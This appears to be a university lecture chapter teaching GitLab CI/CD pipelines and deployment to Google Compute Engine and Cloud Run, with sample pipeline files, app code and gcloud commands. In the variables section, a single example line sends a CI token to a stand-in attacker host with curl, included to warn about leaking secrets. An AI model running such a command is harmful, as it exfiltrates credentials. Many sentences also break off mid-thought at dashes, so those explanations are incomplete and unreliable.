22 Cloud Deployment: From GitLab CI/CD to Google Cloud
Topics: GitLab CI/CD (jobs, stages, pipelines, variables), development vs. production environments, Google Cloud Compute Engine, Cloud Run, and keyless authentication from a pipeline to the cloud.
Prerequisites. Git branches and merge requests (Git lecture), pytest (Testing lecture), and Dockerfiles and images (Docker lecture). Everything else is introduced here.
The one-sentence version of this lecture:
A developer pushes code to GitLab. GitLab CI/CD automatically tests the code, builds an image, and deploys it to Google Cloud. The same process deploys to development and to production—
with different rules and different configuration.
22.1 Learning Objectives
By the end of this lecture you should be able to:
Distinguish continuous integration, continuous delivery, and continuous deployment, and say which one a given pipeline implements.
Write a .gitlab-ci.yml file using jobs, script, stages, image, artifacts, and rules, and predict the order in which its jobs run.
Use GitLab CI/CD variables correctly: predefined variables, variables declared in YAML, and project variables set in the UI (including masked and protected variables).
Explain the difference between development and production environments, and configure a pipeline that deploys automatically to one and only with approval to the other.
Create, start, stop, and delete a Google Compute Engine VM instance from the console and from gcloud, and run a container on it with a startup script.
Deploy a containerized application to Google Cloud Run and compare it with the VM deployment in terms of operations work and cost.
Explain how a GitLab job authenticates to Google Cloud through OpenID Connect and Workload Identity Federation, and why this is safer than storing a service-account key.
Trace a single git push through test, build, development deploy, and production deploy, and roll back a bad release.
22.2 Motivation and Intuition
22.2.1 “It works on my machine”— and then what?
Think about how you submit a programming assignment. You:
write code,
run it locally,
commit it,
push it to GitLab,
discover that it does not work on the grader’s machine (a missing package, a different Python version, a test you forgot to run),
fix it, and repeat.
Now scale that up to a team of ten people pushing twenty times a day to a service with real users. Every push raises the same questions: Did anyone run the tests? On which machine? Who builds the thing we ship? Who copies it to the server? Which version is running right now? If the answers are “a person, by hand, from their laptop,” then every release is a small gamble.
Ask yourself:
What if every git push automatically ran the tests—
on a clean machine— and, if they passed, built and deployed the application?
That is CI/CD. It moves the steps between “code is written” and “code is running for users” out of people’s heads and laptops and into a versioned, reviewable, repeatable file.
22.2.2 The vocabulary
Term | Meaning | Who presses the button? |
Continuous Integration (CI) | every change is automatically built and tested, many times a day | nobody: a push triggers it |
Continuous Delivery | every change that passes CI is packaged and ready to release | a human approves the release |
Continuous Deployment | every change that passes CI is released automatically | nobody |
CD | abbreviation for either of the previous two | depends---ask! |
The pipeline we build today does both kinds of CD: it does continuous deployment to the development environment (every push to develop goes live there) and continuous delivery to production (every merge to main produces a deployable image, but a person clicks “Run”).
code ──▶ commit ──▶ push ──▶ ┌──────── CI ────────┐ ┌──────────── CD ─────────────┐ |
│ install · test │ │ build image · deploy · check │──▶ users |
└────────────────────┘ └──────────────────────────────┘ |
"is it correct?" "get it running, safely" |
22.2.3 Connections to earlier lectures
Git: branches and merge requests become the triggers and the gates of deployment. A branch name decides where code goes.
Testing: tests that only run when a developer remembers are optional. CI makes them mandatory: a red test stops the release.
Docker: the image is the unit of deployment. CI builds it once; every environment runs that exact image.
AI APIs lecture: “never commit a secret.” Today we go one step further: the pipeline deploys to the cloud without any long-lived secret at all.
22.3 Running Example: cloud-demo
We follow one small application from a single print statement to a production service on Google Cloud. All code lives in notes/cloud-deploy/code/:
Stage of the lecture | Folder | What it adds |
First job | hello-ci/ | one job, one script, one log |
Pipelines | stages-demo/ | stages, parallel jobs, artifacts, a rule |
Real app | cloud-demo/ | FastAPI app, tests, Dockerfile |
VM deploy | cloud-demo/vm/ | Compute Engine instance + startup script |
Serverless deploy | cloud-demo/.gitlab-ci.yml | Cloud Run dev + prod |
Keyless auth | cloud-demo/gcp/setup.sh | Workload Identity Federation |
cloud-demo is a deliberately small FastAPI service with three endpoints:
Endpoint | Returns | Why it exists |
GET / | message + which environment it runs in | shows dev vs. prod configuration |
GET /health | {"status": "healthy"} | for smoke tests and health checks |
GET /version | app version, git commit, Cloud Run revision | answers "which code is running?" |
The application is boring on purpose: you should be able to read it in a minute, so all of your attention goes to the path it travels. We will deploy it twice: first to a virtual machine (Compute Engine), where we do the operations work ourselves, and then to a serverless container platform (Cloud Run), where Google does it. Seeing the same image in both places is the point.
22.4 Core Concept 1: Your First GitLab CI/CD Job
22.4.1 Definition
GitLab CI/CD is GitLab’s built-in automation system. A file named .gitlab-ci.yml at the root of a repository declares jobs; when an event occurs (a push, a merge request, a schedule, a button click), GitLab creates a pipeline of those jobs and hands each job to a GitLab Runner, which executes the job’s script commands in a fresh environment and reports back the log and the exit status.
In plain English. You write down, in a file that lives next to your code, the commands you would otherwise type by hand. GitLab runs them for you on another computer every time you push.
Intuition. GitLab is the manager and the runner is the worker. The manager reads the to-do list (.gitlab-ci.yml), decides what needs doing and in which order, and assigns tasks. The worker does the task in a clean room and reports “done” or “failed.”
your laptop GitLab server GitLab Runner |
──────────── ─────────────── ──────────────── |
git push ───────────────▶ reads .gitlab-ci.yml |
creates pipeline #1042 |
job "hello" is pending ──────────▶ picks up the job |
starts python:3.12-slim |
clones the repo at that commit |
runs each script line |
◀──────── log + exit code ────────── exit code 0 ⇒ success |
browser: Build → Pipelines shows ✓ passed |
22.4.2 Worked example — hello-ci
The smallest possible project:
hello-ci/ |
├── hello.py |
└── .gitlab-ci.yml |
"""The smallest possible program to run in a GitLab CI/CD job."""
import platform
print("Hello from GitLab CI/CD!")
print(f"Running on Python {platform.python_version()} ({platform.system()})")# A single job, no stages declared.
# GitLab puts a job with no `stage:` into the default `test` stage.
hello:
image: python:3.12-slim # the container the runner starts for this job
script: # each line is a shell command; any non-zero exit fails the job
- echo "Starting CI/CD"
- python --version
- python hello.py
- echo "Job completed!"Reading it line by line:
hello: is a job name. Any top-level key that isn’t a reserved keyword (like stages or variables) is a job.
image: names the Docker image the job runs inside (on runners that use the Docker executor, which is the norm). This is the Docker lecture paying off: the job’s environment is declared, not “whatever happens to be installed.”
script: is the list of shell commands. The runner executes them in order and stops at the first command that exits with a non-zero status. That exit code is the job’s verdict.
Try it. Create a GitLab project, add these two files, commit, and push. Open Build → Pipelines, click the pipeline, then the hello job. The log looks like this (abridged):
Running with gitlab-runner 17.x (…)
Preparing the "docker" executor
Using docker image python:3.12-slim …
Getting source from Git repository
Checking out 3f9a1c2e as detached HEAD (ref is main)...
Executing "step_script" stage of the job script
$ echo "Starting CI/CD"
Starting CI/CD
$ python --version
Python 3.12.7
$ python hello.py
Hello from GitLab CI/CD!
Running on Python 3.12.7 (Linux)
$ echo "Job completed!"
Job completed!
Cleaning up project directory and file based variables
Job succeeded
Notice (Linux): even if you pushed from a Mac, the job ran on a Linux container somewhere else.
22.4.3 Three questions to ask the class
What happens if hello.py does not exist? python hello.py exits with status 2 (“can’t open file”), the runner stops, the last line becomes ERROR: Job failed: exit code 2, and the pipeline turns red. echo "Job completed!" never runs.
What happens if a command returns a non-zero exit code? Exactly the same thing. This is the whole contract: exit code 0 means success, anything else means failure. pytest exits non-zero when a test fails—
which is why “run the tests in CI” is a one-line job. Does GitLab execute these commands on your laptop? No. GitLab orchestrates; a runner executes. On GitLab.com the runners are virtual machines that GitLab hosts; a university GitLab usually has a few shared runners administered by staff; you can also register your own.
22.4.4 Common misconceptions
“The pipeline runs on the GitLab server.” The server only schedules. If no runner is available, jobs sit in pending forever. “Stuck pending” almost always means “no runner with matching tags.”
“Jobs share a machine, so files from one job are there in the next.” Every job starts from a fresh clone in a fresh container. To pass files between jobs you must declare artifacts (next section).
“A warning printed in red means the job failed.” Only the exit code matters. A script that prints “ERROR” and exits 0 passes.
“YAML is forgiving.” It is not. Indentation is structure; a tab character is an error. Use Build → Pipeline editor, which validates the file before you commit it.
22.4.5 Practical implications
Because the whole procedure lives in a file in the repository, it is versioned (you can see who changed the deploy steps and why), reviewable (changes to the pipeline go through merge requests like code), and reproducible (the same commit always runs the same steps in the same image).
22.5 Core Concept 2: Jobs, Stages, and Pipelines
22.5.1 Definitions
Concept | Definition | Analogy |
Job | a named unit of work with a script; the smallest thing a runner executes | one task on the to-do list |
Script | the shell commands a job runs | the instructions for that task |
Stage | a named group of jobs; stages run in the order they are listed | a phase of the project: build, then test, then ship |
Pipeline | all jobs created for one event (e.g. one push), organized by stages | the whole to-do list for one release attempt |
Runner | the machine/process that executes jobs | the worker |
Two rules govern execution order:
Jobs in the same stage may run in parallel (if enough runners are free).
A stage starts only when every job in the previous stage has succeeded. A failure normally stops all later stages.
22.5.2 Worked example — stages-demo
stages:
- build
- test
- deploy
build:
stage: build
script:
- echo "Building application"
- mkdir -p dist && echo "build $CI_COMMIT_SHORT_SHA" > dist/build.txt
artifacts: # hand dist/ to jobs in later stages
paths: [dist/]
unit-test: # unit-test and lint are in the same stage,
stage: test # so they run in parallel (if runners are free)
script:
- cat dist/build.txt # the artifact from `build` is available here
- echo "Running unit tests"
lint:
stage: test
script:
- echo "Running linter"
# Uncomment the next line to watch a failure stop the `deploy` stage:
# - exit 1
deploy:
stage: deploy
script:
- echo "Deploying $CI_COMMIT_SHORT_SHA from branch $CI_COMMIT_BRANCH"
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # only deploy from mainPredict before you push. On a push to main, in what order do the jobs run? On a push to a branch called feature-x?
Trace on main:
time ─────────────────────────────────────────────────────────────▶ |
stage build [ build ✓ ]──── artifacts: dist/ uploaded |
stage test [ unit-test ✓ ] (parallel) |
[ lint ✓ ] |
stage deploy [ deploy ✓ ] |
Trace on feature-x: the deploy job does not
exist in this pipeline—
Trace on main with exit 1 uncommented in lint:
stage build [ build ✓ ] |
stage test [ unit-test ✓ ] |
[ lint ✗ ] exit code 1 |
stage deploy [ deploy ⊘ skipped ] pipeline: failed |
unit-test still finishes (it was already running in parallel), but deploy is skipped. This is the safety property you want: nothing ships unless everything before it passed.
22.5.3 Three keywords introduced by the example
artifacts —
rules —
$CI_COMMIT_SHORT_SHA, $CI_COMMIT_BRANCH,
$CI_DEFAULT_BRANCH —
22.5.4 What triggers a pipeline?
Event | $CI_PIPELINE_SOURCE | Typical use |
git push to a branch or tag | push | test every change |
merge request opened/updated | merge_request_event | gate merges on green tests |
schedule (cron) | schedule | nightly dependency checks |
Run pipeline button / API | web / api / trigger | manual re-deploys |
22.5.5 Common misconceptions
“Stages run in alphabetical order” / “jobs run in file order.” Stages run in the order of the stages: list. Within a stage, there is no guaranteed order.
“A job with a false rule is skipped.” It is absent. “Skipped” (⊘) means the job exists but an earlier failure prevented it from running. The difference matters when you read a pipeline graph.
“More stages = safer.” Every stage boundary is a wait. Group independent jobs into the same stage (or use needs: to start a job as soon as its specific dependencies finish).
22.6 Core Concept 3: CI/CD Variables
22.6.1 Definition
A CI/CD variable is a named value that GitLab exports as an environment variable into a job’s shell. Variables come from three broad sources: predefined by GitLab (about the commit, branch, pipeline, and project); declared in .gitlab-ci.yml (globally or per job); and defined in the UI at the project, group, or instance level (Settings → CI/CD → Variables).
In plain English. Variables are how the same pipeline
file behaves differently depending on where it runs (which
branch, which project) and what it deploys to—
Intuition. This is the twelve-factor rule—
22.6.2 The three sources
1. Predefined variables. GitLab sets well over a hundred. The handful you will use constantly:
Variable | Example value | Use |
CI_COMMIT_SHA | 3f9a1c2e7b…(40 hex chars) | exact commit |
CI_COMMIT_SHORT_SHA | 3f9a1c2e | image tags, version labels |
CI_COMMIT_BRANCH | develop | rules: which branch is this? |
CI_DEFAULT_BRANCH | main | rules without hard-coding "main" |
CI_PIPELINE_SOURCE | push | rules: what triggered us? |
CI_PROJECT_PATH | my-group/cloud-demo | identity in OIDC tokens |
CI_PROJECT_DIR | /builds/my-group/cloud-demo | where the repo is checked out |
CI_JOB_NAME | deploy_dev | cache keys, logging |
2. Variables in .gitlab-ci.yml. Non-secret configuration that belongs with the code:
variables: # global: every job sees these
REGION: "us-east1"
IMAGE_NAME: "cloud-demo"
IMAGE_TAG: "${CI_COMMIT_SHORT_SHA}" # variables can reference other variables
deploy_dev:
variables: # job-level: only this job; overrides globals of the same name
SERVICE: cloud-demo-dev
ENVIRONMENT: development
script:
- echo "Deploying $IMAGE_NAME:$IMAGE_TAG to $SERVICE in $REGION"3. Project variables in the UI. Values that differ per project or fork, or that must not be in the repository. Each has options:
Option | Effect | When to use |
Masked | value replaced by [MASKED] in job logs | anything sensitive (an API token) |
Protected | only exported to pipelines on protected branches/tags | deploy credentials: feature branches can't use them |
Environment scope | only exported to jobs whose environment matches | different values for development vs. production |
Expand | whether $OTHER inside the value is expanded | usually leave on |
Precedence (simplified). When the same name is defined in
several places, the more specific and more “manual” source wins:
variables entered when running a pipeline by hand override project
(then group, then instance) UI variables, which override job-level
YAML variables, which override global YAML variables, which override
predefined ones. You rarely need the full table—
22.6.3 Worked example — where should each value live?
Our pipeline needs six pieces of configuration. Decide where each belongs:
Value | Where | Reasoning |
region us-east1 | YAML (global) | same for everyone, part of the design |
image name cloud-demo | YAML (global) | part of the code base |
image tag | YAML, from CI_COMMIT_SHORT_SHA | computed per commit |
service name cloud-demo-dev / -prod | YAML (job) | differs per job, not per project |
Google Cloud project ID | UI, project variable | each student/fork deploys to their own project |
Google service account email | UI, project variable, protected | a fork must not deploy as you; only main/develop may use it |
Note what is not on this list: a password or key. Our
pipeline has none (Core Concept 9 explains how). If you ever must
store a secret in a CI variable, make it masked and
protected—
22.6.4 Debugging variables
Two habits save hours:
debug-vars:
script:
- echo "branch=$CI_COMMIT_BRANCH tag=$IMAGE_TAG project=$GCP_PROJECT_ID"
- test -n "$GCP_PROJECT_ID" || (echo "GCP_PROJECT_ID is empty!" && exit 1)The most common surprise: a variable marked protected is empty on an unprotected branch. “It works on main but not on develop” usually means develop isn’t a protected branch.
22.6.5 Common misconceptions
“Masked means secret.” Masking only hides the value in the log. Anyone who can edit .gitlab-ci.yml on a branch that receives the variable can send it anywhere (curl https://evil.example/?k=$TOKEN). That is why protected matters more than masked.
“Variables in YAML are private.” They are committed to the repository. Never put a secret there.
“$VAR works the same everywhere.” Variables are expanded by the runner’s shell in script, but by GitLab itself in keywords like rules:if, image, and environment:url—
and not every keyword supports every kind of variable. When in doubt, check the “where variables can be used” page of the GitLab docs.
22.7 Core Concept 4: Tests and Images in the Pipeline
Time to replace the toy with the real application.
22.7.1 The application
cloud-demo/ |
├── app.py |
├── requirements.txt # runtime: fastapi, uvicorn |
├── requirements-dev.txt # + pytest, httpx, pyyaml |
├── tests/test_app.py |
├── Dockerfile |
└── .gitlab-ci.yml |
import os
from fastapi import FastAPI
APP_VERSION = "1.0"
def create_app() -> FastAPI:
"""Application factory: build a fresh FastAPI app (handy for tests)."""
app = FastAPI(title="cloud-demo", version=APP_VERSION)
@app.get("/")
def home():
return {
"message": "Hello from Google Cloud!",
"environment": os.getenv("ENVIRONMENT", "local"),
}
@app.get("/health")
def health():
# Liveness: cheap, no dependencies. If this fails, restarting helps.
return {"status": "healthy"}
@app.get("/version")
def version():
# "Which code is running right now?" -- the first question in any
# incident. The pipeline injects GIT_SHA at deploy time.
return {
"version": APP_VERSION,
"commit": os.getenv("GIT_SHA", "unknown"),
"revision": os.getenv("K_REVISION", "n/a"),
}
return app
# Module-level object that uvicorn imports as "app:app".
app = create_app()
if __name__ == "__main__":
import uvicorn
port = int(os.environ.get("PORT", 8080))
uvicorn.run("app:app", host="0.0.0.0", port=port, reload=True)Design decisions worth noticing:
All environment-specific values come from environment variables (ENVIRONMENT, GIT_SHA, PORT). The code is identical in development and production; only the configuration differs.
K_REVISION is set automatically by Cloud Run. We didn’t invent it; we just display it.
/version exists because the first question in every incident is “what is actually deployed?” and the answer should be one curl away.
Running it locally:
$ python app.py &
$ curl localhost:8080/
{"message":"Hello from Google Cloud!","environment":"local"}
$ curl localhost:8080/version
{"version":"1.0","commit":"unknown","revision":"n/a"}22.7.2 The tests
import pytest
from fastapi.testclient import TestClient
from app import APP_VERSION, create_app
@pytest.fixture
def client():
return TestClient(create_app())
def test_home(client):
response = client.get("/")
assert response.status_code == 200
assert response.json()["message"] == "Hello from Google Cloud!"
def test_home_reports_configured_environment(client, monkeypatch):
# Same code, different configuration: this is dev vs. prod in one test.
monkeypatch.setenv("ENVIRONMENT", "production")
assert client.get("/").json()["environment"] == "production"
def test_health(client):
response = client.get("/health")
assert response.status_code == 200
assert response.json()["status"] == "healthy"
def test_version_reports_commit(client, monkeypatch):
monkeypatch.setenv("GIT_SHA", "a1b2c3d4")
body = client.get("/version").json()
assert body["version"] == APP_VERSION
assert body["commit"] == "a1b2c3d4"(The project file has two more tests.) FastAPI’s TestClient
(the same one from the FastAPI lecture) sends requests to the app
in-process—
22.7.3 The test job
stages:
- test
test:
stage: test
image: python:3.12-slim
variables:
PIP_CACHE_DIR: "${CI_PROJECT_DIR}/.cache/pip"
cache: # reuse downloaded wheels between pipelines
key: pip-${CI_JOB_NAME}
paths: [.cache/pip]
script:
- pip install -r requirements-dev.txt
- pytest -v --junitxml=report.xml
artifacts:
when: always # keep the report even when tests fail
reports:
junit: report.xml # GitLab shows per-test results in the UIExpected job output (abridged):
$ pytest -v --junitxml=report.xml
tests/test_app.py::test_home PASSED [ 8%]
tests/test_app.py::test_home_reports_default_environment PASSED [ 16%]
...
tests/test_pipeline.py::test_production_deploy_is_manual_and_main_only PASSED [ 83%]
------------- generated xml file: /builds/my-group/cloud-demo/report.xml -------------
============================== 12 passed in 0.41s ==============================
Uploading artifacts...
Job succeeded
Why bother, when you ran the tests on your laptop?
You may forget. CI doesn’t.
Your teammate may break your code with an unrelated change. CI runs all tests on every change—
that is what catches regressions. Your laptop has packages installed that requirements.txt forgot to list. The CI container has exactly what the file says (“works on my machine,” defeated).
A failed test stops deployment. This is the most important line in the whole pipeline, and it isn’t even a line: it’s the stage order.
Two new keywords: cache keeps files (here, pip’s
download cache) between pipelines to save time—
22.7.4 The image
FROM python:3.12-slim
ENV PYTHONDONTWRITEBYTECODE=1 \
PYTHONUNBUFFERED=1 \
PORT=8080
WORKDIR /app
# Dependencies first: this layer is cached until requirements.txt changes.
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
# Then the code (changes often, so it comes last).
COPY app.py .
# Run as an unprivileged user.
RUN useradd --create-home appuser
USER appuser
EXPOSE 8080
# Shell form so that $PORT (set by Cloud Run) is expanded at start-up.
CMD exec uvicorn app:app --host 0.0.0.0 --port ${PORT} --workers 2Recall the vocabulary from the Docker lecture:
Thing | Role |
app.py | the application |
requirements.txt | its runtime dependencies (pytest is NOT here---tests don't ship) |
Dockerfile | the recipe for packaging app + runtime |
image | the packaged, immutable result; what we deploy |
container | a running instance of an image |
registry | where images are stored so other machines can pull them |
Why not just python app.py? That runs uvicorn with
reload=True: one process that watches files and restarts on every
edit—
22.7.5 The tag is the version
Every image we build is tagged with the commit that produced it:
us-east1-docker.pkg.dev / my-class-project / class-docker / cloud-demo : 3f9a1c2e |
└──── registry host ───┘ └──── project ───┘ └─ repository ┘ └─ image ─┘ └─ tag ─┘ |
Because the tag is the commit hash, the question “which code is
running in production?” has a precise answer, and rolling back means
“deploy the previous tag”—
22.8 Core Concept 5: Development vs. Production
22.8.1 Definition
An environment is a distinct
deployment target—
In plain English. Same app, different copies, for different audiences.
The misconception to kill first. Students often think “development and production are two Git branches.” Branches hold code; environments run deployed copies. A branch can be mapped to an environment by the pipeline (we map develop→development and main→production), but that mapping is a choice written in .gitlab-ci.yml, not a property of Git.
22.8.2 How they differ
Development | Production | |
Users | the team | real users |
Data | test / fake data | real data |
Update frequency | many times a day | deliberate releases |
Deploy trigger | automatic on push to develop | manual approval on main |
Debugging | verbose logs, debug flags OK | debug off, structured logs |
Access | loose | restricted: who can deploy, who can read data |
Failure cost | annoying | users affected, maybe money or trust |
Our service | cloud-demo-dev | cloud-demo-prod |
22.8.3 Worked example — same image, two configurations
The application reads its environment from a variable:
environment=os.getenv("ENVIRONMENT", "local")And the two deployments differ only in arguments:
gcloud run deploy cloud-demo-dev \
--image "$IMAGE_URL:3f9a1c2e" \
--region us-east1 \
--set-env-vars ENVIRONMENT=development
gcloud run deploy cloud-demo-prod \
--image "$IMAGE_URL:3f9a1c2e" \
--region us-east1 \
--set-env-vars ENVIRONMENT=productionResult:
$ curl https://cloud-demo-dev-123456789.us-east1.run.app/
{"environment":"development","message":"Hello from Google Cloud!"}
$ curl https://cloud-demo-prod-123456789.us-east1.run.app/
{"environment":"production","message":"Hello from Google Cloud!"}The application code is identical. The configuration and the deployment target differ. And because both use tag 3f9a1c2e, what you verified in development is bit-for-bit what goes to production.
22.8.4 The release flow
developer pushes to develop |
│ |
▼ |
GitLab CI: run tests ──✗──▶ stop. nothing deployed. |
│ ✓ |
▼ |
build image :<sha> |
│ |
▼ |
deploy automatically to DEVELOPMENT ──▶ team checks the dev URL |
│ |
▼ |
merge request develop → main (code review) |
│ |
▼ |
GitLab CI on main: tests, build image |
│ |
▼ |
deploy_prod waits ⏸ ──(authorized person clicks Run)──▶ PRODUCTION |
Three principles:
Development deployment can be automatic: a broken dev environment costs the team a few minutes.
Production deployment can require approval: GitLab’s when: manual makes the job wait for a click; protected branches and protected environments restrict who may click.
Production should run a tested, identifiable image—
not “whatever is on someone’s laptop” and not a rebuild of arbitrary code.
22.8.5 GitLab environments
When a job declares environment:, GitLab records every deployment to it:
deploy_prod:
environment:
name: production
url: $DEPLOY_URL # shown as an "Open" button in the UI
resource_group: production # never two production deploys at the same time
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
when: manualOperate → Environments then shows, for each environment, which commit is deployed, who deployed it and when, a link to the live URL, and a Rollback button that re-runs the deploy job of an earlier successful deployment. resource_group serializes jobs: if two merges land a minute apart, their production deploys run one after the other, not interleaved.
22.8.6 Common misconceptions
“Staging/dev proves it works in prod.” It proves the image works with dev’s configuration and data. Production differences (data volume, real credentials, traffic) can still bite—
which is why we also smoke-test after every deploy. “Manual approval is old-fashioned; real teams deploy continuously.” Many do, after years of investment in tests, monitoring, and automatic rollback. Manual gates are a reasonable starting point, not a failure.
“Rebuild the image for production with production settings.” Then production runs an image nobody tested. Build once; configure at deploy time.
22.9 Core Concept 6: Google Cloud Fundamentals
Before deploying anything, you need four Google Cloud ideas.
22.9.1 Projects, billing, regions
A project is the container for everything: resources, permissions, APIs, and the bill. It has a human-chosen project ID (my-class-project, used in commands) and a project number (123456789012, used in some resource names).
A billing account pays for a project. Even “free” resources require one. Set a budget alert on day one.
A region (us-east1, South Carolina) is a geographic area; a zone (us-east1-b) is an isolated data center within it. VMs live in a zone; Cloud Run services and Artifact Registry repositories live in a region.
APIs must be enabled per project before use (gcloud services enable run.googleapis.com). “API not enabled” is the most common first error.
22.9.2 The gcloud CLI
Everything in the console can be done with gcloud, and everything we automate must be. The easiest place to run it is Cloud Shell (the >_ icon in the console): a free, pre-authenticated Linux shell in the browser.
gcloud auth login # (laptop only) log in as yourself
gcloud config set project my-class-project
gcloud config set compute/zone us-east1-b
gcloud services enable compute.googleapis.com run.googleapis.com \
artifactregistry.googleapis.com cloudbuild.googleapis.com22.9.3 IAM: who can do what
Identity and Access Management answers one question: may principal P perform action A on resource R?
A principal is an identity: a user (you at umd.edu), a group, or a service account—
an identity for a program rather than a person, with an email-like name such as gitlab-deployer@my-class-project.iam.gserviceaccount.com. A role is a named bundle of permissions: roles/run.admin, roles/artifactregistry.writer, …
An IAM binding grants a role to a principal on a resource (a project, a repository, a service account…).
Principle of least privilege: give each identity only the roles it needs. We will use three service accounts: one the pipeline acts as (deploys things), one the app runs as on Cloud Run (needs nothing), and one the VM runs as (pulls images, writes logs).
22.9.4 The services we use
Service | What it does for us |
Artifact Registry | private Docker registry: stores cloud-demo:<sha> |
Cloud Build | builds a Dockerfile on Google's machines, pushes the image |
Compute Engine | virtual machines (Core Concept 7) |
Cloud Run | runs containers on demand, HTTPS included (Core Concept 8) |
IAM + Workload Identity Federation | lets GitLab act in our project without a key (Core Concept 9) |
Create the image repository once:
gcloud artifacts repositories create class-docker \
--repository-format=docker \
--location=us-east1 \
--description="CMSC389A class applications"22.10 Core Concept 7: Compute Engine — Create and Start a VM Instance
22.10.1 Definition
Compute Engine is Google Cloud’s
Infrastructure-as-a-Service (IaaS): it rents virtual machine
instances—
In plain English. A computer in Google’s data center that is yours. You get root, an IP address, and every responsibility.
Intuition. Renting an empty apartment. You can furnish it any
way you like—
22.10.2 The anatomy of an instance
Setting | Our choice | Meaning |
name | cloud-demo-vm | unique within the project and zone |
zone | us-east1-b | where it physically runs |
machine type | e2-micro | 2 shared vCPUs, 1 GB RAM; free-tier eligible in us-east1 |
boot disk image | debian-12 (debian-cloud) | the OS; includes gcloud preinstalled |
network tags | http-server | labels that firewall rules target |
service account | cloud-demo-vm@… | the identity programs on the VM act as |
metadata | app-image, startup-script | key/value data the VM can read at boot |
22.10.3 Worked example — create and start an instance in the console
Console → Compute Engine → VM instances. The first visit asks to enable the Compute Engine API; accept.
Click Create instance.
Name: cloud-demo-vm; Region us-east1; Zone us-east1-b.
Machine configuration: series E2, machine type e2-micro.
Boot disk: Debian GNU/Linux 12, 10 GB standard persistent disk.
Firewall: tick Allow HTTP traffic (this adds the http-server tag and creates a rule opening port 80).
Click Create. Watch the status icon spin, then turn green: the instance is RUNNING. Creating an instance also starts it.
Click SSH in the row. A browser terminal opens on your VM: uname -a prints a Linux kernel; you are root via sudo.
22.10.4 Worked example — the same thing with gcloud
gcloud compute instances create cloud-demo-vm \
--zone=us-east1-b \
--machine-type=e2-micro \
--image-family=debian-12 --image-project=debian-cloud \
--boot-disk-size=10GB \
--tags=http-serverExpected output:
Created [https://www.googleapis.com/compute/v1/projects/my-class-project/zones/us-east1-b/instances/cloud-demo-vm].
NAME ZONE MACHINE_TYPE PREEMPTIBLE INTERNAL_IP EXTERNAL_IP STATUS
cloud-demo-vm us-east1-b e2-micro 10.142.0.2 34.75.112.18 RUNNING
Why prefer the command? It can be committed, reviewed, and rerun. A console click-path lives only in your memory.
22.10.5 The instance lifecycle
create ──▶ PROVISIONING ──▶ STAGING ──▶ RUNNING ◀──────────┐ |
│ │ │ start |
reset (reboot)│ │ stop │ |
◀───────┘ ▼ │ |
STOPPING ──▶ TERMINATED |
│ |
delete ▼ |
(gone) |
gcloud compute instances list
gcloud compute instances stop cloud-demo-vm --zone=us-east1-b
gcloud compute instances start cloud-demo-vm --zone=us-east1-b
gcloud compute instances reset cloud-demo-vm --zone=us-east1-b # hard reboot
gcloud compute ssh cloud-demo-vm --zone=us-east1-b # SSH from your terminal
gcloud compute instances delete cloud-demo-vm --zone=us-east1-bBilling in one line: a RUNNING instance pays for CPU and memory; a stopped (TERMINATED) instance still pays for its disk and any reserved static IP; only delete stops all charges. “I stopped it” is not “I deleted it.”
22.10.6 Worked example — run cloud-demo on the VM
A bare VM doesn’t run our app. We teach it to, with a startup script: a shell script stored in the instance’s metadata that Google runs as root on every boot.
#!/usr/bin/env bash
set -euo pipefail
MD="http://metadata.google.internal/computeMetadata/v1/instance/attributes"
md() { curl -fsS -H "Metadata-Flavor: Google" "$MD/$1"; }
if ! command -v docker >/dev/null; then # first boot only
apt-get update
apt-get install -y docker.io
systemctl enable --now docker
fi
IMAGE="$(md app-image)" # which image to run: from metadata
ENVIRONMENT="$(md environment || echo vm)"
REGISTRY_HOST="${IMAGE%%/*}" # us-east1-docker.pkg.dev
# Let Docker pull from Artifact Registry as the VM's service account.
gcloud auth configure-docker "$REGISTRY_HOST" --quiet
docker pull "$IMAGE"
docker rm -f cloud-demo 2>/dev/null || true
docker run -d --name cloud-demo --restart=unless-stopped \
-p 80:8080 \
-e ENVIRONMENT="$ENVIRONMENT" \
-e GIT_SHA="${IMAGE##*:}" \
"$IMAGE"Things to notice:
The VM learns which image to run from the metadata server, a special address (metadata.google.internal) every VM can query about itself. The script is generic; the metadata is the configuration.
-p 80:8080 maps the VM’s port 80 (open in the firewall) to uvicorn’s 8080 in the container.
–restart=unless-stopped makes Docker restart the container if it crashes or the VM reboots. This is our supervision: nobody else will do it.
Creating the VM with its identity, firewall rule, and startup script (vm/create-vm.sh in the project):
# The VM's own identity: it only needs to pull images and write logs.
gcloud iam service-accounts create cloud-demo-vm
gcloud projects add-iam-policy-binding "$PROJECT_ID" \
--member="serviceAccount:cloud-demo-vm@${PROJECT_ID}.iam.gserviceaccount.com" \
--role=roles/artifactregistry.reader
# Firewall: allow HTTP to VMs tagged http-server.
gcloud compute firewall-rules create allow-http \
--network=default --direction=INGRESS --action=ALLOW \
--rules=tcp:80 --source-ranges=0.0.0.0/0 --target-tags=http-server
gcloud compute instances create cloud-demo-vm \
--zone=us-east1-b --machine-type=e2-micro \
--image-family=debian-12 --image-project=debian-cloud \
--tags=http-server \
--service-account="cloud-demo-vm@${PROJECT_ID}.iam.gserviceaccount.com" \
--scopes=cloud-platform \
--metadata=app-image="$IMAGE",environment=vm \
--metadata-from-file=startup-script=vm/startup.shAbout a minute later:
$ curl http://34.75.112.18/version
{"commit":"3f9a1c2e","revision":"n/a","version":"1.0"}If it doesn’t answer, read the startup script’s output from the
serial console—
gcloud compute instances get-serial-port-output cloud-demo-vm \
--zone=us-east1-b | grep startup-scriptDeploying a new version to the VM = point the metadata at a new tag and reboot (vm/deploy-vm.sh):
gcloud compute instances add-metadata cloud-demo-vm --zone=us-east1-b \
--metadata=app-image="$IMAGE_URL:7c41d0aa"
gcloud compute instances reset cloud-demo-vm --zone=us-east1-bThat works—
22.10.7 What you now own
Responsibility | On our VM |
OS security patches | you (or configure unattended upgrades) |
HTTPS / TLS certificate | you: install Caddy or nginx + certbot, get a domain |
Process crashes | Docker's --restart policy |
VM/zone failure | nothing: the service is down |
Traffic beyond one e2-micro | resize by hand (downtime) or build a managed instance group |
Zero-downtime deploys | not with reset; needs two VMs + a load balancer |
Cost when idle | the VM is billed 24/7 whether anyone visits or not |
22.10.8 Common misconceptions
“A VM isn’t a real deployment.” It is. Plenty of businesses run on a few well-kept VMs. It is a deployment whose operations you carry personally.
